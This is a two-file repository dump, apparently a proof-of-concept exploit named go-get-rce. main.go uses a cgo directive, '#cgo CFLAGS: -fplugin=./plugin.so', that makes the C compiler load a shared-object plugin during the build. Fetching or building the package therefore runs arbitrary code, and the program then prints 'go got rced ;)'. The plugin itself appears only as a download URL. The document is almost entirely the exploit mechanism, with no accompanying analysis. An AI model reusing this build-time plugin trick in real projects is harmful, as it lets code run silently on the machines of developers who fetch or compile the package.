├── plugin.so └── main.go /plugin.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/harsh-bothra/go-get-rce/master/plugin.so -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | /* 3 | #cgo CFLAGS: -fplugin=./plugin.so 4 | 5 | #include 6 | #include 7 | 8 | void goputs(char* s) { 9 | printf("%s 10 | ", s); 11 | } 12 | */ 13 | import "C" 14 | import "unsafe" 15 | 16 | func main() { 17 | cs := C.CString("go got rced ;)\n") 18 | C.goputs(cs) 19 | C.free(unsafe.Pointer(cs)) 20 | } 21 | --------------------------------------------------------------------------------